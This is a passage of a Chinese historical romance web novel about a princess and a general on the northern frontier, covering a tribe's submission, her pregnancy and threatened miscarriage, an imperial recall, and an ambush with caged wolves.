阿古拉将这一切看在眼里,他那双锐利的眼睛里有什么东西在剧烈地翻涌。他带来的皮毛药材,在这一刻似乎失去了原有的分量。他见过无数部落首领,见过朝廷的官员,他们高高在上,锦衣玉食。 他从未见过一个“长公主”,会把半块干饼当作未尽的早饭,也从未见过一个手握兵权的将军,会为一个女子拾起一块掉在地上的粗饼。 这种景象,比任何丰饶的许诺都更具冲击力。 “长公主!”阿古拉忽然向前一步,单膝跪地,声音因激动而有些沙哑,“我们图雅部落,愿率部归附!求长公主,赐予我们种子,教我们耕种!” 他身后几个图雅族人也愣住了,随即反应过来,跟着跪下。 这突如其来的举动让周围的牧民都安静下来。 黎音袅也有些意外:“阿古拉首领,请起。归附之事,非同小可。你……” “我阿古拉看得很清楚!”阿古拉仰头,语气坚决,“长公主与我们同食沙土,共饮苦水。您让我们看到了,这片沙地不是只能放牧,它也能长出金贵的油!您的人,脸上都有了以前没有的东西。” “是什么?”黎音袅问。 “是盼头!”阿古拉斩钉截铁,“我们图雅部落,在沙暴和狼群的嘴边讨生活太久了。我们也想给孩子们一个安稳的帐篷,一口热乎的油茶!我们愿意跟着长公主,学种地,学过安生日子!” 江令舟看着阿古拉,这位剽悍的部落首领,此刻眼中没有了试探,只有一种近乎孤注一掷的恳切。他想,黎音袅播下的种子,不仅在田里发芽,也在人心里扎了根。 “好。”黎音袅没有过多犹豫,“种子,我可以给。耕种的方法,我也可以教。但归附,意味着你们要遵守这里的规矩,服从统一的调配。你们可愿意?” “愿意!我们图雅部落一千三百一十二口,都愿意!”阿古拉重重叩首。 黎音袅亲自扶起他:“既然如此,从今日起,我们便是一家人。巴图,取最好的油菜种子来,给阿古拉首领装上。” “是!”巴图兴奋地应道,立刻跑去仓房。 赵迁在一旁看得目瞪口呆,他凑近江令舟:“将军,这……这就归附了?图雅部落可是附近除了苏木部之外,最强悍的一支了。” 江令舟“嗯”了一声,他想起黎音袅那半块饼子,和她指尖的薄茧。或许,这才是真正的攻心为上。 远处,一道沙丘之后,一双眼睛透过单筒望远镜,将这一切尽收眼底。镜筒中,黎音袅正将一小袋种子递给阿古拉,脸上带着温和的笑意,那笑容在荒漠的背景下,竟有些刺眼。 斥候放下望远镜,脸上是凝重的神色。他必须立刻将这个消息回报给苏木首领。长公主黎音袅,这个看似柔弱的女人,正在用一种他们从未见过的方式,收拢人心,改变这片土地的格局。 黎音袅送走了心满意足的阿古拉一行人,又开始安排人手清点图雅部落送来的皮毛药材,准备折算成他们日后所需的粮食和工具。 她忙碌起来,似乎已经忘了方才掉饼子的小插曲。 江令舟却无法轻易忘记。他看着她纤瘦的背影在人群中穿梭,那件浆洗得有些发白的粗布衣衫,因为她的奔波而微微汗湿,贴在背上,显出更加单薄的轮廓。 “将军,”赵迁又凑过来,压低声音,“您说,苏木那边知道了图雅部落归附,会不会有什么动作?” “苏木?”江令舟重复了一句,声音里听不出情绪,“他会的。” 他想,苏木不是阿古拉。苏木的野心,不会因为一块饼子,或者几亩油菜田就轻易动摇。这片土地上的宁静,或许只是暂时的。 黎音袅似有所感,忽然回头,正对上江令舟深沉的视线。她微微一怔,随即唇边漾开一抹浅笑,那笑容干净纯粹,不含杂质。 她冲他点了点头,又转过身去,继续与一个牧民说话。 江令舟收回视线,心中却不再平静。 这温柔乡,要守住,恐怕比攻下一座城池更难。 但他,愿意试试。 第160章胎动 黎音袅扶着腰,倚在厚实的软垫上,眉心微不可察地蹙着。腹中那小小的生命,近来愈发不安分,时常有些细密的动静,让她既欢喜又有些隐秘的担忧。这片土地,终究不是安乐窝。 春禾端着一碗冒着腾腾热气的羊奶,小心翼翼地掀开厚重的毡帘走进来,挡住了一股试图钻入的寒风。“主子,夜里寒气重,喝些热羊奶暖暖身子。”她将白瓷碗递过去,声音轻柔得如同帐外的初雪。 黎音袅接过,指尖触到碗壁的温热,驱散了几分寒意。正要开口说话,小腹处忽然传来一阵与以往都不同的、清晰而有力的蠕动,像是一条充满活力的小鱼在她身体里翻了个身。她微微一怔,呼吸都停了一瞬,下意识地将手掌紧紧按住了小腹。 春禾眼尖,瞧见她动作有异,又见碗沿的奶沫因她手轻颤而微微晃动,关切地凑近了些,压低声音问:“主子,可是又不舒服了?要不要奴婢去请医帐的艾格大夫?” 黎音袅缓缓摇了摇头,脸上浮现一丝奇异的、混杂着惊喜与几分不知所措的复杂神色。她抬眸看着春禾,声音里带着一丝自己都未曾察觉的颤抖与期盼:“春禾,你来……你来摸摸看。”她拉过春禾尚带着些凉意的手,轻轻放在自己的小腹上,覆盖在她自己的手背。 春禾有些不明所以,但还是顺从地屏住呼吸,凝神感受。片刻之后,她感觉到那轻微的、却又无比真实的动静,一下,又一下,仿佛一个小小的拳头在轻轻敲打。她猛地睁大眼睛,难以置信地看向黎音袅,又看向那微微隆起的地方,惊喜交加,声音都因为激动而变了调,拔高了不少:“主子!主子的肚子……它、它动了!是小主子在动啊!” 吱呀—— 帐帘几乎是被人粗暴地一把掀开,一股凌冽的、夹杂着雪花的寒风猛地卷了进来,吹得案几上的油灯火苗噼啪一阵剧烈摇曳,险些熄灭。江令舟高大魁梧的身影裹挟着一身风雪出现在门口,他刚从营地外巡视回来,玄色铠甲上还带着未融的雪粒与冰霜,簌簌地落在厚厚的地毯上,发出细微却清晰的声响。 他本是算着时辰,想过来看看黎音袅是否安睡,却在掀帘的刹那,清清楚楚地听见了春禾最后那句又惊又喜、几乎是喊出来的呼声。 “……动了?” 江令舟整个人蓦地僵在原地,仿佛被帐外的奇寒瞬间冻透了五脏六腑。他那双在无数个日夜里警惕着沙场风吹草动、看过太多生死离别的眼睛,此刻因为这两个字,写满了全然的、几乎是茫然的难以置信。风雪似乎还在耳边呼啸,但他却什么也听不见了。 春禾被他这副模样吓了一跳,连忙屈膝行礼,脸上还带着未褪的激动红晕:“将、将军!您回来了!” 黎音袅也看向他,脸颊因方才的激动和被风吹拂而微微泛红,眼中水光潋滟,像是盛满了初春融雪的湖泊。她没有立刻说话,只是轻轻点了点头,示意他过来,唇边带着一抹极浅、却又无比温柔的笑意。 江令舟的脚步有些沉重,又有些虚浮,每一步都像踩在棉花上,又像踏在刀尖上。他走到榻边,高大的身影投下一片阴影,目光却一错不错地紧紧锁在黎音袅按在小腹的那只手上,喉结不自觉地上下滚动了一下,发出咕咚一声轻响。 “我……我能……摸摸吗?”他的声音艰涩沙哑,带着一丝连自己都未曾察觉的小心翼翼与近乎祈求的卑微,仿佛在触碰一件绝世琉璃,生怕一用力便会碎裂。 黎音袅唇边的笑意加深,拉过他那只因常年握着兵刃而布满厚茧、却异常温暖干燥的大手,先是覆在自己的手背上,然后引导着他的掌心,一寸寸地,轻轻贴上那微微隆起、孕育着无限希望的小腹。 “你仔细感觉,”她轻声说,声音里带着一丝诱哄,“别怕,他很喜欢热闹。” 帐内油灯的火苗在短暂的摇曳后重新稳定下来,噼啪跳动着,映照着三人脸上各异的神情。窗外风雪依旧在不知疲倦地呼啸,卷起细小的沙粒击打在毡帐上,发出沙沙的沉闷声响,像是远方战鼓的余音。 江令舟屏住呼吸,几乎不敢用力,掌心下的触感温热而柔软,隔着几层衣料,他能清晰地感受到她肌肤的温度和轻微的、规律的呼吸起伏。他起初什么也感觉不到,心中不由自主地涌上一阵焦躁与莫名的失落,难道是自己太过粗鲁,惊扰了那小小的生命? 就在他几乎要怀疑春禾是不是看错了的时候,一股极轻、却又无比清晰的蠕动,紧接着是一下更为有力的顶撞,隔着她的手,隔着衣料,真真切切地传递到了他的掌心。 那一下,仿佛一根羽毛轻轻搔过他坚硬如铁的心尖,又像是一道微弱却不容忽视的春雷,在他沉寂已久的灵魂深处轰然炸响。 江令舟高大坚实的身躯猛地一震,像是被一股无形的力量狠狠击中了胸膛。他保持着那个手掌覆在她小腹的姿势,一动不动,只有微微颤抖的指尖和骤然粗重的呼吸泄露了他内心的波涛汹涌。 那是……生命。 他和她的孩子。 在这片被世人遗忘的荒芜沙海,在这酷寒与危机四伏的边陲之地,在他们用无数鲜血与抗争勉力支撑起的这一方小小的、脆弱的安宁之中,一个全新的、只属于他们两个人的生命,正在如此悄然无声却又倔强有力地孕育着,并用这种最原始、最直接的方式,向他,向这个世界,宣告着它的存在。 “感觉……感觉到了吗?”黎音袅微微仰头看他,声音里带着一丝不易察觉的紧张,眼底是纯粹的喜悦和一丝她自己也未曾意识到的、全然的依赖。 江令舟缓缓点头,喉咙像是被什么东西堵住了,发紧得厉害,一个字也说不出来。他只是反手,将她微凉的、柔软的手紧紧包裹在自己滚烫的大掌之中,十指相扣,仿佛要将这份突如其来的、几乎将他整个人彻底淹没的巨大温柔与奇迹,牢牢抓住,揉进自己的骨血里。 他想起那些在刀光剑影中浴血奋战的日日夜夜,想起城破国亡时的彻骨绝望,想起初见她时,她那一身布衣却难掩的风华与眼底深藏的哀伤,想起她在那间破旧营帐中,将仅有的半块饼子分给饥肠轆轆的他,想起她那双本该拨弄琴弦的纤纤玉手,因为操劳农事而生出的薄茧。 这一切的苦难、挣扎与不屈的坚持,仿佛都在这一刻,因为掌心下那一声轻微的悸动,都有了最温柔、最不可思议、也最沉甸甸的回报。 春禾在一旁看着,早已是泪盈于睫,她无声地吸了吸鼻子,悄悄地、一步一步地退后,想将这片刻的、神圣的温馨完整地留给他们。 “它……它很活泼。”江令舟终于找回了自己的声音,却依旧带着一丝难以置信的沙哑与颤抖。他缓缓低头,目光专注而虔诚地看着黎音袅的小腹,眼神是从未有过的、几乎能溺死人的柔软,仿佛要将那处看穿,看到那个正在里面调皮捣蛋的小家伙。 “是啊,”黎音袅轻笑出声,带着初为人母特有的骄傲与满溢的欣喜,“最近尤其闹腾,想来是个不肯安分的性子。”她轻轻抚摸着小腹,眼中闪烁着母性的光辉。 江令舟闻言,脸上也露出一丝罕见的、近乎有些傻气的笑容,那笑容冲淡了他平日里的冷硬与肃杀:“像我,皮实,好养活。” 黎音袅被他逗得“噗嗤”一声笑了出来,轻轻捶了他一下:“哪里有你这样说自己孩子的,没个正经。”话虽如此,眼底的笑意却如同春水般荡漾开来,温暖而明亮。 江令舟却忽然收敛了笑容,神情重新变得凝重起来,甚至比平日里商议军情时还要严肃几分。他握着她的手,力道不自觉地又加重了几分,指节有些发白:“音袅,这些日子……辛苦你了。” 这简简单单的五个字,他说得无比郑重,仿佛用尽了全身的力气。他比任何人都清楚,在这片贫瘠而危险的土地上孕育一个新的生命,她要承受多少未知的风险和难以言说的辛劳。 “不辛苦。”黎音袅摇摇头,目光迎上他深沉的注视,坚定而温柔,“能有它,能有你们,再多辛苦,我都觉得值得。” 江令舟深深看着她,看着她眼中闪烁着的、比帐中摇曳的油灯更明亮、更温暖的光芒。他想,这便是他的整个天下,是他不惜付出任何代价也要守护住的温柔乡,是他愿意为之披荆斩棘、开创一个太平盛世的唯一理由。 “我会立刻安排医帐最好的艾格大夫过来,从明日起,不,从今晚起,每日为你请脉,早晚各一次。”江令舟沉声道,语气带着不容商量的决断,却又在尾音处带着一丝小心翼翼的商量意味,“你的吃食上,也要让厨房那边重新调整,务必精细滋补。你若有什么特别想吃的,只管告诉我,哪怕是天上的月亮,我也想办法给你弄下来尝尝。” 黎音袅被他这难得一见的、有些笨拙又有些霸道的表白逗得眼圈一热,却又忍不住笑了:“哪有你说的那么夸张。我又不是那等娇气之人。”她顿了顿,声音低了下去,带着一丝不易察觉的轻颤,“只要你好好的,便是我们母子……最大的依靠和盼头。” 她将头轻轻靠在他的肩上,感受着他身上传来的稳定力量和淡淡的硝烟与皮革气息,那让她感到无比安心。 江令舟心中一紧,将她轻轻揽入怀中,下巴抵着她柔软的发顶,声音低沉而有力,带着斩钉截铁的承诺:“音袅,别怕。有我在,一切有我。我会护着你们,用我的这条命,用我所有的一切。” 第161章 召回 帅帐鎏金顶落了薄雪。 尖细的宣旨声穿透帐幔,带着皇城特有的阴冷:“奉天承运皇帝,诏曰:北疆初定,叛党已除,江爱卿劳苦功高,朕心甚慰。着江令舟夫妇即刻启程,速归京师,不得有误。钦此——” 黎音袅扶着腰,听完了那冗长又刻板的圣谕。掌心无意识地抚过小腹,那里已是一道清晰的弧线,随着她的呼吸轻轻起伏。三个月前亲手播下的油菜籽早已收成,榨出的油带着北地阳光的暖香,可腹中这个小家伙,才刚刚让她感受到那份初为人母的、细微而真切的胎动欣喜。 烛火下,那明黄卷轴上的朱批字迹,透着一股不容抗拒的冷意。 “公公一路辛苦。”江令舟的声音听不出情绪,他伸手接过圣旨,指节却因用力而泛出白色,“来人,送公公下去歇息,备些热茶点心。” “咱家谢过将军。”传旨太监堆起一脸假笑,又瞥了眼黎音袅的肚子,意味深长道,“皇上还惦念着将军与夫人,盼着早日见到二位,尤其是……小将军呢。” 帐内只剩下夫妻二人。炭火在盆中烧得噼啪作响,暖意融融,却驱不散那道圣旨带来的寒气。 江令舟将那卷明黄用力一捏,几乎要将它捏碎:“从陆路走,快马加鞭,十日可抵京城。但你如今的身子……”他没有说下去,但眼底的忧虑几乎要满溢出来。他才刚刚沉浸在要做父亲的巨大喜悦中,才刚刚许下要护她们母子周全的诺言,这道圣旨便如一盆冰水,兜头浇下。 “十日颠簸……”黎音袅喃喃,她望向帐外,风灯摇曳,映着漫天飞雪,北疆的冬天来得早,也格外漫长。指尖轻轻按在微微隆起的腹部,那里的生命那样脆弱,又那样充满了力量。“水路如何?”她忽然开口,声音平静。 江令舟眉心蹙得更紧,形成一个深深的“川”字:“水路?”他踱了数步,帐内地毯厚实,听不见脚步声,只有他盔甲叶片偶尔碰撞的轻响。“北疆渡口远在南疆边界,绕行至少月余。且近年南疆水路不靖,时有叛军余孽流窜作乱。”他断然道,“我怎能让你涉此奇险?” “可陆路……” “陆路虽快,但日夜兼程,你如何受得住?”江令舟打断她,语气中带着一丝他自己都未察觉的焦躁,“太医说过,你前三月本就胎气不稳,如今刚过五月,正是要紧的时候。” 帐内炭火依旧噼啪作响,映着黎音袅垂下的眼睑。她比任何人都清楚,皇帝对北疆的猜忌从未真正消退。江令舟在此地经营数年,威望日隆,早已是某些人眼中的钉子。此次急召,明为嘉奖,实则试探。若有片刻迟疑,或是抗旨不遵,那便是给了朝堂上那些虎视眈眈的政敌攻讦的最好口实。“将在外,君命有所不受”这种话,也只能在万不得已时说说,如今北疆初定,远不到那个地步。 她抬起头,脸上竟带了一丝浅淡的笑意:“夫君,我留在此地安胎,你先行返京复命,如何?” 江令舟猛地转身,盯着她,像是第一次认识她一般:“你说什么?” “水路太险,陆路颠簸,我这身子确实不宜长途跋涉。”黎音袅声音轻柔,却字字清晰,“你先回去,向皇上陈明情由。待孩子足月,或是……北疆春暖花开,我再启程,不是两全其美吗?” “不行!”江令舟几乎是吼出来的,帐内的烛火都跟着跳动了一下。他上前一步,握住她的双肩,力道有些失控,“你一人留在北疆,四周皆是新附部落,人心未稳,我如何放心?皇命难违,我们必须一起走!”他脑中飞速盘算,或许可以征用最大最稳的马车,铺上最厚的毛皮,再多带些医士……可无论如何,风险都太大了。 黎音袅任他握着,只是静静看着他,看着他眼底因连日操劳军务和此刻焦灼而泛起的血丝,忽然笑了:“你忘了?北疆各部刚刚归附,人心浮动,此刻最是需要你这定海神针镇场子的时候。我若随你回京,他们会如何想?会不会以为朝廷要对他们秋后算账?” 江令舟一怔,他只想着她的安危,却忽略了这更深一层的政治考量。 “我留在这里,于你,于北疆,于朝廷,都是一剂安心丸。”黎音袅抬手,轻轻覆上他紧握自己肩头的手,指尖划过他掌心那层叠的厚茧,“再说……”她顿了顿,声音压低了几分,“你以为,京中那些人,会放过这个千载难逢的机会吗?若我们母子在路上出了任何‘意外’,你猜,这盆脏水会泼向谁?” 帐外风雪呼啸,呜呜作响,像极了三年前他们初遇那个混乱的雪夜。江令舟凝视着她,这个女子,总是能在最绝望的境地中,为他,也为自己寻到一条看似不可能的生路。此刻,她眼底的光芒,比这帐中的烛火更亮,比帐外的冰雪更坚韧。 他慢慢松开了手,胸口剧烈起伏。他想反驳,想说他可以护她周全,可她的话,字字句句都打在他的软肋上。让她跟着自己冒险,或是将她独自留在这危机四伏的北疆,哪一个选择更让他心安?答案是,没有。 “你……”他喉咙干涩,半晌才找回自己的声音,“你让我想想。” 黎音袅没有催促,只是安静地等待着。她知道,这个决定对他而言,有多艰难。 许久,江令舟像是下定了某种决心,再次开口时,声音已恢复了平日的沉稳,只是那份沉稳之下,压抑着太多翻涌的情绪:“三日后,我率亲卫先行返京。” 黎音袅心中一块大石落地,却又泛起一丝酸楚。 他看着她,一字一句道:“你留在帅帐,在我回来之前,半步不许离开帅帐范围。艾格大夫每日辰时、酉时,必须为你请脉,一次都不能少。我会留下最精锐的五十名亲卫,由程武统领,日夜护卫。还有……” “知道了,知道了。”黎音袅打断他的絮叨,眼圈有些发热,却努力弯起唇角,“我会带着春禾,还有你留下的暗卫,每日乖乖喝艾格大夫开的安胎药,好好吃饭,好好睡觉。”她轻轻摸了摸小腹,带着一丝骄傲,“放心,他,还有我,都比谁都顽强。” 江令舟上前一步,将她轻轻拥入怀中。这个拥抱很轻,却又很重。他低头,在她光洁的额上印下一个吻,带着北地清晨雪松的气息,也带着一丝不易察觉的颤抖。 “等我回来。” “嗯。” 第162章 动了胎气 次日,黎音袅还是想要跟江令舟一同回京城。 毕竟,自己和腹中的孩子留在此地会成为夫君的挂念。 她命人准备出行的衣裳。 帐中烛火摇曳,映着黎音袅略显苍白的面容。她正在细细整理几件贴身衣物,动作不疾不徐,仿佛只是在为一次寻常远行做准备。春禾在一旁帮手,叠着柔软的狐皮,口中还絮叨着:“夫人,这件大氅最是暖和,路上风雪大,可千万要裹严实了。” 黎音袅“嗯”了一声,刚要将一件婴儿用的小襁褓放入箱笼,小腹蓦地传来一阵尖锐的绞痛,力道之猛,让她眼前骤然一黑。她闷哼一声,手下意识扶住沉重的梨木桌案,指节因用力而泛白。 “夫人!”春禾的惊呼几乎要冲破喉咙,手中的狐皮散落一地,她一个箭步扑过来,“您怎么了?可是……可是动了胎气?” 冷汗几乎是瞬间便浸透了黎音袅的中衣,她咬紧牙关,额角青筋微跳,却死死按住春禾想要搀扶的手臂,声音因剧痛而有些发颤,却依旧强硬:“莫声张!去……去请艾格大夫,悄悄的。” 春禾见她面色惨白如纸,哪里还敢耽搁,连滚带爬地奔了出去。帐内一时只剩下黎音袅粗重的呼吸声,她缓缓滑坐在铺着厚毯的矮榻上,一手紧紧按着小腹,另一手死死抠着榻沿。痛楚如潮水般一波波袭来,让她几乎要蜷缩成一团。她脑中只有一个念头:不能让他知道,至少,不能让他因此乱了方寸。 不多时,艾格大夫被春禾搀扶着,脚步匆匆地进了帐。他年过半百,是军中资历最老的医官,一手医术在北疆颇有盛名。见黎音袅这般模样,他也不多言,立刻上前,示意春禾:“扶夫人躺下。” 黎音袅配合着躺倒,冷汗已将鬓发濡湿。艾格大夫伸出两指,搭上她的腕脉,眉头越皱越紧。帐内静得落针可闻,只有烛火偶尔爆开噼啪一声轻响。春禾在一旁急得团团转,大气也不敢出。 半晌,艾格大夫收回手,指尖竟有些微不可查的颤抖。他看向黎音袅,神色凝重:“夫人,您这是……动了胎气,且来势汹汹。胎儿月份尚小,最是凶险。老夫会开一副安胎药,您即刻服下。但最要紧的是,接下来七日,您必须卧床静养,一步也不能动,任何劳心劳力之事都不能沾染。” “七日?”黎音袅心中一沉,面上却竭力维持平静,“大夫,明日……” “老夫知道明日将军便要启程回京。”艾格大夫叹了口气,声音里满是为难,“可夫人如今这状况,莫说长途跋涉,便是多走几步都凶险万分。若强行上路,只怕……只怕母子皆危啊!” 春禾闻言,眼泪“唰”地就下来了,哽咽道:“夫人,您就听大夫的吧,孩子要紧啊!” 黎音袅闭了闭眼,再睁开时,已是一片清明。她看向艾格大夫:“大夫,若我此刻服药,好好歇上一晚,明日……能否撑到驿站?” 艾格大夫面露难色:“夫人,这不是撑不撑得住的问题,是根本不能动!您腹中胎儿本就因您先前操劳而有些不稳,此刻已是强弩之末,再经不起半点颠簸了。” “我知道了。”黎音袅的声音听不出情绪。 就在此时,帐外传来一阵急促而沉稳的马蹄声,由远及近,最后停在帐前。紧接着,江令舟那熟悉的声音带着风雪的冷冽穿透帐幕:“艾格大夫可在帐中?本将听闻夫人身体不适,让本将看看!” 话音未落,帐帘已被猛地掀开,带着一身寒气的江令舟大步跨了进来。他身上玄色铠甲未卸,肩头还落着未化的雪粒,显然是刚从营中巡视回来,听闻消息便直接赶了过来。 黎音袅心中一紧,连忙强撑着坐起身,对艾格大夫和春禾使了个眼色,随即扯出一抹略显虚弱却依旧镇定的笑容,迎向江令舟:“你怎么过来了?不过是寻常胎动,大夫说孩子有些活泼,并无大碍。”她刻意放缓了语速,试图掩盖声音中的颤抖,“你瞧,艾格大夫这不是刚为我请过脉,说我只要按时服药便好。” 艾格大夫张了张嘴,想说什么,却在接触到黎音袅那带着恳求与警告的眼神时,将到了嘴边的话又咽了回去,只是躬身行礼:“将军。” 江令舟的视线锐利如鹰,扫过黎音袅苍白的脸颊,又掠过春禾红肿的眼眶和艾格大夫欲言又止的神情,心中疑窦丛生。他深知黎音袅的性子,越是大事,她越是能不动声色。 “寻常胎动?”他走到榻边,声音低沉,“寻常胎动需要惊动艾格大夫深夜前来?” 黎音袅垂下眼睫,轻轻抚着小腹:“许是初为□□,有些大惊小怪了。明日还要按时启程,莫要因为我这点小事,让朝廷觉得我们心有拖延,再生枝节。” 江令舟没有说话,只是静静看着她。帐内的气氛一时有些凝滞。他缓缓在她榻边单膝跪下,动作间,铠甲发出轻微的摩擦声。他没有去碰她,只是伸出戴着厚茧的大手,执起她微凉的手,轻轻按在自己心口的位置,那里,隔着坚硬的铠甲,传来沉稳有力的跳动。 “音袅,”他开口,声音沙哑,“你老实告诉我,究竟如何?”他不是傻子,帐内的气氛,艾格大夫的神情,无一不在昭示着情况并不像她说的那么轻松。 黎音袅感受着他掌心的温度和心跳,心中那份强撑的镇定几乎要瓦解。她张了张口,却觉得喉咙干涩。 艾格大夫见状,终是忍不住,上前一步,低声道:“将军,夫人她……她的确是动了胎气,且不轻。依老夫之见,至少需静养七日,万万动弹不得。” 江令舟握着黎音袅的手骤然收紧,手背青筋暴起。他猛地转头看向艾格大夫,眼神凌厉:“七日?” 黎音袅反手握住他的手,指尖用力,示意他冷静。她迎上他的视线,那双总是带着坚韧光芒的眼眸此刻盛满了疲惫和痛楚,却依旧不肯退让分毫:“令舟,你听我说。” “你要说什么?”江令舟的声音压抑着怒火和后怕,“说你又能撑过去?说为了大局你什么都可以不在乎?黎音袅,那是我们的孩子!” “我知道!”黎音袅打断他,声音也拔高了几分,带着一丝不易察觉的哽咽,“正因为是我们的孩子,我才更要保全他!你我都清楚,此刻我们必须走,且要走得干脆利落,不能给任何人留下话柄!” 她深吸一口气,努力让自己的声音平稳下来:“你以为我不想安安稳稳地养胎吗?可我们有的选吗?此时此刻,任何一点风吹草动,都可能被京中那些人无限放大。若我们因我‘身体不适’而延期,他们会如何揣测?是北疆军务有变,还是你江令舟拥兵自重,不肯奉诏?” 江令舟胸口剧烈起伏,每一个字都像重锤砸在他心上。他何尝不明白这些道理?可道理是道理,她的安危,孩子的安危,又是另一回事。 “我会让程武率最精锐的亲卫护送,”他几乎是从牙缝里挤出这句话,每一个字都带着血腥味,“我们用最稳的马车,铺上最厚的毛皮,每五里设一岗哨,每十里更换一次马匹和车夫。艾格大夫随行,所有珍稀药材都带上。若你有任何不适,我们立刻停下……” “不会。”黎音袅再次打断他,语气却温柔了下来,带着一丝哀求,“令舟,那样太慢了,也太扎眼了。我们必须像之前商议的那样,你率亲卫先行,我……我会用最快的速度,最隐秘的方式随后跟上,或者,我留下,等你回来。”她又回到了最初的提议。 “不行!”江令舟断然拒绝,声音斩钉截铁,“让你一个人留在这里,或者让你冒着这样的风险上路,我做不到!” 帐外,更夫敲过三更的梆子声【梆…梆…梆…】远远传来,一下一下,沉闷而悠长,像是在催促着什么,又像是在为这艰难的抉择做着无声的注脚。 黎音袅望着他眼底浓重的血丝与深深的挣扎,心中酸楚翻涌。她慢慢地,轻轻地靠入他冰冷的铠甲环绕的怀中,将脸颊贴在他坚实的胸膛上,感受着他略显急促的心跳。 “令舟,”她的声音轻柔,却带着不容置喙的坚定,“这一路,我要护的,不仅仅是我们腹中的骨血,更是你……你在北疆浴血奋战十年的心血,是你用无数牺牲换来的北境安宁。我们不能因为我,因为孩子,就让这一切蒙上阴影,甚至功亏一篑。” 江令舟僵硬地抱着她,怀中的身躯那样柔软,却又蕴含着让他心惊的强大力量。他闭上眼睛,帐中的烛火,帐外的风雪,似乎都远去了。 许久,他才低低地开口,声音嘶哑得不成样子:“药……先喝药。” 春禾连忙将早已备好的汤药递了过来。 黎音袅没有推辞,接过药碗,看也没看,便一口饮尽。浓黑的药汁苦涩无比,她却连眉头都未曾皱一下。 放下药碗,她抬头,对他露出一抹虚弱却安心的笑:“我会没事的,我们的孩子,也会没事的。” 江令舟没有说话,只是将她更紧地拥在怀里。 第163章 活物 清晨的北风卷着细雪,冰冷刺骨。 黎音袅被春禾小心翼翼地扶上马车,车轮碾过薄冰,发出轻微的嘎吱声。她掀开车帘一角,最后望了一眼帅帐的方向,江令舟高大的身影伫立在风雪中,腰间那柄狼首刀的银光,在晦暗天色下格外醒目——那是她三年前,亲手为他挑选的生辰贺礼,刀鞘上狰狞的狼首,是他最爱的图腾。 车帘啪嗒一声落下,隔绝了那道沉沉的视线。黎音袅的目光,却仿佛还停留在他眼底浓稠的血色上。她忽然想起,三年前,在围场,他纵马替她挡下那支淬毒冷箭时,也是这般,仿佛要将她吸进去的眼神。 心口蓦地一抽,她垂下眼,掩去眸底翻涌的情绪。 马车缓缓启动,在积雪的路上颠簸前行。春禾将一个鎏金手炉塞进她怀里,又掖了掖她膝上的毛毯,低声道:“夫人,艾格大夫特意嘱咐,这药需得按时服用,他说……” “我知道。”黎音袅接过春禾递来的药碗,触手温热。她没有犹豫,仰头便将那碗浓黑苦涩的安胎药一饮而尽。药汁滑过喉咙,带着一股若有似无的血腥气,在胃里翻腾。她强压下那股不适,将空碗递还给春禾。 袖中的手,下意识地摸向了藏在腕间的银哨。那哨子小巧精致,是江令舟亲手打磨的,哨声独特,只有他们两人和少数亲信能辨识。他说,这是最后的手段,不到万不得已,绝不可轻易吹响。 她闭上眼,感受着腹中微弱的悸动,那里,是她和令舟的孩子。 一路无话,只有车轮滚动的声音,以及程武在车外不时发出的低沉指令。 行至正午,天色愈发阴沉,风雪更大了。马车突然一个急晃,猛地停了下来。 “怎么回事?”春禾惊呼一声,险些撞到车壁。 黎音袅亦是身形一震,腹中传来一阵轻微的坠痛,她蹙了蹙眉,按住小腹。 程武粗嘎的声音在帘外响起,带着一丝不同寻常的凝重:“禀夫人,前方河道……河道提前封冻了,冰层太薄,马车无法通过。” 提前封冻?黎音袅心中一凛。北地铁勒河往年都是要再过半月才会彻底冰封,今年怎会如此反常? “知道了。”她应了一声,示意春禾,“扶我下去看看。” 春禾有些担忧:“夫人,外面风大……” “无妨。” 车帘被掀开,一股夹杂着冰碴的寒风扑面而来。黎音袅扶着春禾的手下了马车,积雪已没过脚踝。前方不远处,宽阔的铁勒河河面果然凝着一层薄冰,在铅灰色的天幕下泛着幽光。几名亲卫正在冰面上尝试,脚下不时传来咔嚓的碎裂声。 “绕路需要多久?”黎音袅问程武。 程武脸色铁青:“至少多出两日路程,且山路难行,对夫人身体……” 他的话未说完,便被一阵马蹄声打断。 踏踏踏—— 数十骑人马自河对岸的风雪中显现,迅速逼近。那些骑士个个身着深色胡服,鞍侧悬挂弯刀,为首一人身材魁梧,脸上戴着一个狰狞的狼首面具,只露出一双阴鸷的眼睛,正直勾勾地盯着她。 程武与随行亲卫瞬间拔刀出鞘,锵啷之声不绝于耳,将黎音袅和春禾护在中央。 “保护夫人!”程武厉喝。 那戴着狼首面具的骑士在河边勒住马,马儿不安地刨着蹄子,喷出白气。他隔着薄冰的河面,遥遥望着黎音袅,声音透过面具传出,带着金属摩擦般的嘶哑与一丝诡异的笑意:“长公主殿下,别来无恙?” 黎音袅的心沉了下去。苏木的人!这狼首面具,是苏木麾下最悍勇的“狼奴”头领才会佩戴的标志。 “苏木首领倒是消息灵通。”黎音袅拢了拢身上的斗篷,声音平静,听不出喜怒,“本宫奉诏返京,不知阁下在此拦路,有何贵干?” 春禾的手紧紧攥着袖中的短匕,指节泛白,紧张地盯着对面。 狼首面具男低低笑了起来,笑声在风雪中显得格外刺耳:“我家首领听闻长公主殿下今日启程,特命在下于此等候,为您送上一份薄礼,不成敬意。” “哦?”黎音袅挑了挑眉,“这冰天雪地的,苏木首领倒是有心了。只是不知,是何样的‘薄礼’,竟劳烦阁下亲自押送?”她特意加重了“亲自押送”四字。 狼首面具男似乎并未听出她话中的深意,只是抬手向后一挥。 他身后的骑士们迅速让开一条道路,数辆盖着厚厚油布的囚车被推至河岸边。油布被猛地掀开,露出里面一个个巨大的铁笼。 嗷呜—— 凄厉的狼嚎声骤然响起,划破风雪。 铁笼之内,竟是数十只饿得皮包骨头、眼珠泛着幽幽绿光的草原狼!它们焦躁地在笼中踱步,喉咙里发出低低的威胁嘶吼,贪婪而嗜血的目光死死盯着河对岸的人群,仿佛随时会冲破囚笼。 春禾倒抽一口冷气,脸色煞白:“狼……是狼!” 程武和一众亲卫也变了脸色,握刀的手更紧了。 “活物。”狼首面具男的声音带着一丝残忍的得意,“我家首领说,长途漫漫,怕公主殿下寂寞,特意送些玩物解闷。这些小家伙,可是饿了有些时日了。” 黎音袅的指尖微微发冷,面上却依旧不见慌乱。她望着那些因为饥饿而愈发凶残的狼群,又看向那狼首面具男:“苏木首领的‘美意’,本宫心领了。只是,这礼物未免太过贵重,本宫怕是……消受不起。” 